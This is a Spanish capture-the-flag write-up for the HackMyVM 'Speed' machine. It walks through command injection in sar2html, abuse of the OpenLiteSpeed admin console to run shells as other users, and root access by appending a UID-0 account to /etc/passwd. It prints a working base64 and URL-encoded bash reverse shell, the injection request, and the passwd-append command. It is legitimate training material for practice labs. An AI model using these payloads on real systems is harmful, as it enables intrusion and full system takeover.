HackMyVM - Speed


Creado
HackMyVM - Speed

Máquina Linux nivel medio. Inyección de comandos en sar2html y OpenLiteSpeed, además romperemos el archivo /etc/passwd para crear usuarios administradores.

TL;DR (Spanish writeup)

Creada por: sml.

La web, la bendita web.

Nos encontramos con un servidor web que tiene una inyección de comandos en el servicio sar2html, logramos así una sesión como el usuario www-data en el sistema.

Enumerándolo llegamos a credenciales que nos abren las puertas a OpenLiteSpeed (OLS) y su consola administrativa. Con ayuda de vulnerabilidades conocidas contra OLS podremos inyectar en procesos y aplicaciones externas comandos como cualquier usuario en el sistema, menos como root.

Pero encontraremos la forma de obtener el grupo root con uno de estos usuarios. Finalmente, crearemos un usuario administrativo mediante el archivo /etc/passwd y así generar una Shell como root.

La idea inicial de esta locura es tener mis “notas” por si algun día se me olvida todo (lo que es muuuy probable), leer esto y reencontrarme (o talvez no) 😄 La segunda idea surgio con el tiempo, ya que me di cuenta que esta es una puerta para personitas que como yo al inicio (o simplemente a veces) nos estancamos en este mundo de la seguridad, por lo que si tengo la oportunidad de ayudarlos ¿por qué no hacerlo?

Un detalle es que si ves mucho texto, es por que me gusta mostrar tanto errores como exitos y tambien plasmar todo desde una perspectiva más de enseñanza que de solo pasos a seguir. Sin menos, muchas gracias <3

Cada vez te extraño más.

  1. Reconocimiento.
  2. Enumeración.
  3. Explotación.
  4. Escalada de privilegios.

Reconocimiento #

Empezamos conociendo la dirección IP a atacar. La red a la que la tengo asignada es 172.144.3.0/24, al realizar un escaneo de los hosts activos en ella, obtenemos una distinta a la nuestra:

 arp-scan -l
...
172.144.3.9     08:00:27:57:d3:7b       PCS Systemtechnik GmbH
...

Nos quedamos con ella.

Veamos qué servicios (puertos) tiene expuestos:

nmap -p- --open -v 172.144.3.9 -oA TCP_initScan_Speed
Parámetro Descripción
-p- Escanea todos los 65535 puertos
–open Devuelve solo los puertos que estén abiertos
-v Permite ver en consola lo que va encontrando
-oA Guarda el output en varios archivos con formatos distintos, nos quedaremos con el formato grepeable para usar la función extractPorts de S4vitar que copia los puertos en la clipboard

El escaneo nos muestra:

Puerto Descripción
22 SSH: Contamos con la posibilidad de obtener una terminal de forma segura.
80,8088 HTTP: Tenemos dos servidores web.
7080 HTTPS: Otro servidor web, pero esta vez con certificado SSL.

_____(Usando la función extractPorts (referenciada antes) podemos copiar rápidamente los puertos en la clipboard, en este caso no es necesario (ya que tenemos pocos puertos), pero si tuviéramos varios puertos evitamos tener que escribirlos uno a uno

 extractPorts TCP_initScan_Speed.gnmap                   
[*] Extracting information...

    [*] IP Address: 172.144.3.9
    [*] Open ports: 22,80,7080,8088

[*] Ports copied to clipboard

)_____

Ya con los puertos copiados jugamos con nmap para validar posibles rutas de explotación y nueva información con respecto a los servicios:

nmap -sCV -p 22,80,7080,8088 172.144.3.9 -v -oA TCP_portScan_Speed
Parámetro Descripción
-p Escaneo de los puertos obtenidos
-sC Ejecuta scripts que buscan vulns en los servicios
-sV Nos permite ver la versión del servicio
-oA Guarda el output en varios archivos con distinto formato

Nos regala la siguiente info:

Puerto Servicio Versión
22 SSH OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
80 HTTP nginx 1.14.2
7080 HTTPS LiteSpeed WebAdmin Console
8088 HTTP LiteSpeed

Bien bien, al final obtenemos info más detallada, así que ya tenemos suficiente para empezar, a darle.

Enumeración #


Puerto 80 📌

Bien, de primeras visualizamos varias cositas:

  • La versión de lo que parece el software usado en la web (sar2html).
  • Y un archivo comprimido a descargar…

sar2html is the plotting tool for system statistics (sar data).” ~ github.com sar2html

Explotación #

Buscando en la web vulnerabilidades relacionadas con sar2html 3.2.2 encontramos:

Se trata de una inyección de comandos, ya que por detrás, sar2html es un script de bash, lo que nos permite, mediante una mala sanitización en los inputs del aplicativo, concatenar comandos a ejecutar en el sistema:

Probemos:

Revisamos el código fuente:

Liiiiistones, tenemos ejecución remota de comandos a gran speed :P Para obtener una Shell podemos hacerlo de esta manera:

echo "bash -c 'bash -i &> /dev/tcp/172.144.3.7/4440 0>&1'" | base64 -w 0

Tomamos el output y generamos esta cadena:

echo YmFzaCAtYyAnYmFzaCAtaSAmPiAvZGV2L3RjcC8xNzIuMTQ0LjMuNy80NDQwIDA+JjEnCg== | base64 -d | bash

La URLencodeamos para evitar que se corrompa al realizar la petición:

echo%20YmFzaCAtYyAnYmFzaCAtaSAmPiAvZGV2L3RjcC8xNzIuMTQ0LjMuNy80NDQwIDA%2BJjEnCg%3D%3D%20%7C%20base64%20-d%20%7C%20bash

Nos ponemos en escucha por el puerto 4440

Y finalmente hacemos la petición:

http://172.144.3.9/index.php?plot=;echo%20YmFzaCAtYyAnYmFzaCAtaSAmPiAvZGV2L3RjcC8xNzIuMTQ0LjMuNy80NDQwIDA%2BJjEnCg%3D%3D%20%7C%20base64%20-d%20%7C%20bash

OLS Admin RCE: www-data -> nobody #

Dando vueltas por el sistema, llegamos a la carpeta que tiene toda la info de LiteSpeed, dentro, hay un archivo de configuración:

LiteSpeed simplemente es un servidor web, es el cuarto más usado del mundo gracias a su rendimiento. Más info…

www-data@speed:/opt/openlitespeed$ cat ols.conf 
#If you want to change the default values, please update this file.
#

SERVERROOT=/usr/local/lsws
OPENLSWS_USER=nobody
OPENLSWS_GROUP=nobody
OPENLSWS_ADMIN=admin
OPENLSWS_EMAIL=root@localhost
OPENLSWS_ADMINSSL=yes
OPENLSWS_ADMINPORT=7080
USE_LSPHP7=yes
DEFAULT_TMP_DIR=/tmp/lshttpd
PID_FILE=/tmp/lshttpd/lshttpd.pid
OPENLSWS_EXAMPLEPORT=8088

#You can set password here
#OPENLSWS_PASSWORD=

OPENLSWS_PASSWORD=MjE0MGU2

El servicio usado es la versión opensource de LiteSpeed, OpenLiteSpeed.

Nos damos cuenta tanto del username del usuario administrador como de su contraseña. Algo que notamos también es la referencia a dos puertos que vimos antes, el 7080 (Admin Port) y el 8088 (Example Port).

Si revisamos cada uno de ellos, en el 7080 descubrimos el login-panel administrativo de OpenLiteSpeed (OLS) (como ya nos había dicho nmap) y en el 8088 simplemente una web de ejemplos a usar.

Teniendo en cuenta que tenemos credenciales de OLS, procedemos a probarlas:

PErFeCtO! Tamos dentro (:

Intentando reutilización de credenciales contra el usuario root y uno llamado marvin en el sistema, no logramos nada (pero son pruebas que debemos hacer siempre, nunca se sabe).

Recorriendo durante un buen rato el sistema y la interfaz administrativa sin entender nuestro siguiente paso, me adentro de nuevo en la web a buscar vulns para (como se ve arriba en la imagen anterior) la versión 1.5.12, pero nada de nadita.

A lo que llego es a esta vuln que está enfocada en otra versión de LiteSpeed, pero que tiene una ruta curiosa de explotación:

Seguimos los pasos:

Modificamos los valores, agregamos la inyección de comandos y nos ponemos en escucha:

Arriba a la derecha guardamos cambios y ahora damos en la flecha verde que vimos antes para reiniciar el servicio, una vez reiniciamos, obtenemos nuestra Shell como el usuario nobody:

Epale, no sé qué tan alentador sea esto, pero al menos tenemos otro foco!

¿Te preguntas por qué somos nobody? Bueno, devuelvete un poco y revisa el archivo de configuración donde encontramos las credenciales de la consola administrativa, ahí entenderás :P

Pero después de un rato revisando el sistema, estamos igual que antes, perdidos…

OLS Admin RCE como cualquier usuario #

La bendita web nos vuelve a dar alientos, encontramos un post donde se explora/explota la consola administrativa de OpenLiteSpeed:

Nos muestra algo clave:

Tomada de https://deathflash.xyz/blog/pg-practice-thor.

Uhhhhhh, pues si volvemos a realizar los pasos, editamos la aplicación externa y hacemos un poco de scroll, encontramos de lo que nos habla el post:

Claro, un simple scroll me hizo perder resto de tiempo :P Pero bueno, supimos buscar y encontramos algo nuevo a probar.

Que tal si le indicamos que ejecute la Shell como el usuario marvin o root, ¿lo hará?

Guardamos, reiniciamos y:

SI SI SIIIII! ¡Somos marvin!!!!

Escalada de privilegios #

Ejecutando el mismo proceso, pero ahora usando al usuario root obtenemos algo distinto:

Somos el usuario nobody de nuevo, pero tenemos asignado el grupo root… ¿Cómo podemos aprovechar esto?

Hay muuuuchas maneras, pero una de las que se me ocurren y que no hemos tocado aún en el blog es jugar con el archivo /etc/passwd.

Privesc modificando el archivo /etc/passwd 📌


El objeto /etc/passwd es el encargado de almacenar los usuarios del sistema y el objeto /etc/shadow las credenciales de estos.

Como vemos en los permisos del archivo, el usuario root y grupo root pueden leer (r) y escribir/modificar (w) el objeto, nadie más. Así que juguemos con él.

El post explica muy a detalle el objeto y su explotación, revísenlo, es una gran lectura.

Los pasos son muuuuy sencillos:

  1. Crear una contraseña hasheada que el sistema entienda.
  2. Sobreescribir el archivo /etc/passwd con un nuevo usuario, contraseña y permisos administrativos (UID y GID del usuario root).
  3. Guardar cambios y listo (:

Creamos la contraseña (lanzito), en mi caso con ayuda de la herramienta openssl (es una gran herramienta enfocada en la seguridad de las comunicaciones):

openssl passwd lanzito

Tomamos el output y creamos esta línea:

lanz:$1$bViTHtc8$hqXExY/ZrZpVJtXEXaHC51:0:0:root:/root:/bin/bash
  • lanz: Usuario a crear.
  • hash ($...1): Contraseña asignada (para evitar que vaya al objeto /etc/shadow y la busque (ya que contra él no tenemos permisos de escritura)).
  • 0: UID (0 ya que el User ID y Group ID del usuario root es 0).
  • 0: GID.
  • root: Info relacionada con el usuario, algo descriptivo.
  • /root: El directorio $HOME del usuario a crear.
  • /bin/bash: La terminal con la que tendrá acceso al sistema.

Sobreescribimos el archivo ya sea copiando y pegando al final o desde consola:

echo 'lanz:$1$bViTHtc8$hqXExY/ZrZpVJtXEXaHC51:0:0:root:/root:/bin/bash' >> /etc/passwd

Yyyyy finalmente:

SOMOS el USUARIO root ahora sIIIIII!!

Post explotación #

Una máquina de la que dude realizar el writeup, ya que su intrusión no me gustó mucho, pero el movimiento con OpenLiteSpeed me gustó, además de poder mostrar otra manera de escalar privilegios al modificar el contenido del archivo /etc/passwd.

Espero les haya gustado y nos leamos después, nos estamos charlando, abrazos (: Y recuerden… ¡A romper de todo!!!

Lanz

Lanz

Holap, simplemente quiero compartir contigo mis notas y que quizás, las tomes como apoyo. Este mundo es un camino raro, complicado a veces, pero divertido, diviertete (: (y entiende que estas haciendo :P)

Comments

comments powered by Disqus